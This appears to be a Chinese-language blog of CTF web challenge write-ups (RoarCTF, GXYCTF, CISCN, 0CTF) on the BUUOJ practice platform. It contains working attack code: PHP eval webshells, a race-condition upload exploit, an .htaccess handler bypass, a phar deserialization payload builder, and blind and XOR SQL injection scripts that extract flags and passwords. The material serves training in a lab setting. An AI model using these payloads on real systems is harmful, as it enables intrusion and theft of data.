我太菜了啊,赶紧刷题,比赛打不动了
[RoarCTF 2019]Easy Java 知识点:
进了点了一下help,发现有filename参数,题目说了是个Java题,所以直接读取WEB-INF/web.xml,一无所获,抓个包,一顿操作之后发现只有改成POST方法就可以了(不知道是什么原理,之后再看)
再加上之前乱测得时候爆出来得信息
所以我们可以顺理成章的去读flagcontroller
然后解码得到flag
顺带一提tomcat的服务端文件结构
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件
[RoarCTF 2019]Simple Upload 知识点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { show_source(__FILE__ ); } public function upload ( ) { $uploadFile = $_FILES['file' ] ; if (strstr(strtolower($uploadFile['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload(); $upload->maxSize = 4096 ; $upload->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload->rootPath = './Public/Uploads/' ; $upload->savePath = '' ; $info = $upload->upload() ; if (!$info) { $this ->error($upload->getError()); return ; }else { $url = __ROOT__.substr($upload->rootPath,1 ).$info['file' ]['savepath' ].$info['file' ]['savename' ] ; echo json_encode(array ("url" =>$url,"success" =>1 )); } } }
ThinkPHP的后端,而ThinkPHP的默认文件保存地址为:/home/index/upload
再来审计源码,这里从手册我们得知ThinkPHP的upload()在无参数的时候是批量上传的,整个$_FILES
数组的文件都会上传保存,也就是说这里存在条件竞争漏洞,我们连续上传正常文件和shell文件,就可以成功上传。
多上传几次就发现,文件名相差不大且是递增的关系,所以爆破就可以得到shell文件的文件名
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport timeimport jsonurl = "http://f24e2b54-a89a-4f3b-bb50-2d09be5acfec.node3.buuoj.cn/" path = url + "/index.php/home/index/upload" files = {"file" :("a.txt" ,'a' ), "file1" :("b.php" , '<?php eval($_GET["a"]);' )} r = requests.post(path, files=files) t1 = r.text.split("/" )[-1 ].split("." )[0 ] param=json.loads(r.content) print(param) t1 = int(t1, 16 ) j = t1 while True : path = url + "/Public/Uploads/" +param['url' ].split("/" )[-2 ]+"/%s.php" % hex(j)[2 :] try : r = requests.get(path,timeout=1 ) except : continue if r.status_code == 429 : time.sleep(0.1 ) continue elif r.status_code != 404 : print(path) print(r.text) break print(j, path, r.status_code) j -= 1
[0CTF 2016]piapiapia 知识点:
www.zip下到源码才发现是个经典题,之前就看过WP,直接打了
[GXYCTF2019]BabyUpload 知识点:
非常简单的一道题,上传.hatcess,然后JavaScript绕过PHP过滤
1 SetHandler application/x-httpd-php
1 <script language='php' >eval ($_POST[cmd]);</script>
[GXYCTF2019]BabysqliV3.0
这道题居然是个弱密码,我服了,然后进去有个伪协议的文件包含,搞下来upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data" > ä¸ä¼ æ件 <input type="file" name="file" /> <input type="submit" name="submit" value="ä¸ä¼ " /> </form> <?php error_reporting(0 ); class Uploader { public $Filename; public $cmd; public $token; function __construct ( ) { $sandbox = getcwd()."/uploads/" .md5($_SESSION['user' ])."/" ; $ext = ".txt" ; @mkdir($sandbox, 0777 , true ); if (isset ($_GET['name' ]) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i" , $_GET['name' ])){ $this ->Filename = $_GET['name' ]; } else { $this ->Filename = $sandbox.$_SESSION['user' ].$ext; } $this ->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';" ; $this ->token = $_SESSION['user' ]; } function upload ($file ) { global $sandbox; global $ext; if (preg_match("[^a-z0-9]" , $this ->Filename)){ $this ->cmd = "die('illegal filename!');" ; } else { if ($file['size' ] > 1024 ){ $this ->cmd = "die('you are too big (â²â½`ã)');" ; } else { $this ->cmd = "move_uploaded_file('" .$file['tmp_name' ]."', '" . $this ->Filename . "');" ; } } } function __toString ( ) { global $sandbox; global $ext; return $this ->Filename; } function __destruct ( ) { if ($this ->token != $_SESSION['user' ]){ $this ->cmd = "die('check token falied!');" ; } eval ($this ->cmd); } } if (isset ($_FILES['file' ])) { $uploader = new Uploader(); $uploader->upload($_FILES["file" ]); if (@file_get_contents($uploader)){ echo "ä¸é¢æ¯ä½ ä¸ä¼ çæ件ï¼<br>" .$uploader."<br>" ; echo file_get_contents($uploader); } } ?>
预期解: phar反序列化,基操不多提
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Uploader { public $Filename; public $cmd; public $token; } $a = new Uploader(); $a->cmd = 'highlight_file("/var/www/html/flag.php");' ; $a->Filename = 'xzl' ; $a->token = 'GXYeddbfa94f75d985cb8537c9bb31ac22c' ; $phar = new Phar("phar.phar" ); $phar->startBuffering(); $phar->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar->setMetadata($a); $phar->addFromString("xzl.txt" , "xzl" ); $phar->stopBuffering(); ?>
非预期解: woc,正则里面直接来了个空格
这就等于啥都没过滤
1 upload.php?name=/var/www/html/uploads/shell.php
所以就直接另name为/var/www/html/uploads/shell.php
,然后上传个有shell的txt,就直接可以getshell了。
[GXYCTF2019]StrongestMind 这道题打开让算数学题,对着输入框一顿操作没什么结果,被迫写了个脚本算了一千道计算,然后打开官方解一看:woc????真就脚本题??这样的?
下面是官方EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from requests import *import res = session() a = s.get("http://172.21.4.12:10044/index.php" ) pattern = re.findall(r'\d+.[+-].\d+' , a.text) c = eval(pattern[0 ]) a = s.post("http://172.21.4.12:10044/index.php" , data = {"answer" : c}) for i in range(1000 ): pattern = re.findall(r'\d+.[+-].\d+' , a.text) c = eval(pattern[0 ]) print(c) a = s.post("http://172.21.4.12:10044/index.php" , data = {"answer" : c}) print(a.text)
[CISCN2019 华北赛区 Day2 Web1]Hack World 知识点:
这道题就是单纯的异或注入,过滤了union等关键字,用1^0
和1^0
可以测出异或注入,然后就直接写脚本了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport reurl = 'http://727fb90e-dd6f-4270-8236-7baa965e3bca.node3.buuoj.cn/index.php' result = "" payload = { "id" : "" } for i in range(1 ,100 ): low = 32 high = 127 mid = (low+high)>>1 while (low<high): payload["id" ] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})" .format(i,mid) req = requests.post(url,data=payload) print(payload) if "Hello" in req.text: low = mid+1 else : high = mid mid = (low+high)>>1 if (chr(mid)==" " ): break result = result + chr(mid) print(result) print("flag: " ,result)
[CISCN2019 总决赛 Day2 Web1]Easyweb 知识点:
/robots.txt
可以爆出*.php.bak
可以得到image.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include "config.php" ;$id=isset ($_GET["id" ])?$_GET["id" ]:"1" ; $path=isset ($_GET["path" ])?$_GET["path" ]:"" ; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id); $path=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'" ); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path" ]; header("Content-Type: image/jpeg" ); readfile($path);
显然可以注入,很简单,直接跑布尔盲注,测试payload:
?id=\0’&path= or 0%23
?id=\0’&path= or 1%23
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsurl = 'http://ee7cc8eb-94c4-4b42-917c-bcbb82882178.node3.buuoj.cn/image.php' result = '' for x in range(0 , 100 ): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = " or id=if(ascii(substr((select password from users),%d,1))>%d,1,0)#" % (x, mid) params = { 'id' :'\\\\0' , 'path' :payload } response = requests.get(url, params=params) if b'JFIF' in response.content: low = mid + 1 else : high = mid mid = (low + high) // 2 result += chr(int(mid)) print(result)
跑出密码,登录,有文件上传,可以看到上传后文件格式为PHP
短标签绕过上传shell
=@eval($_POST['cmd']);?>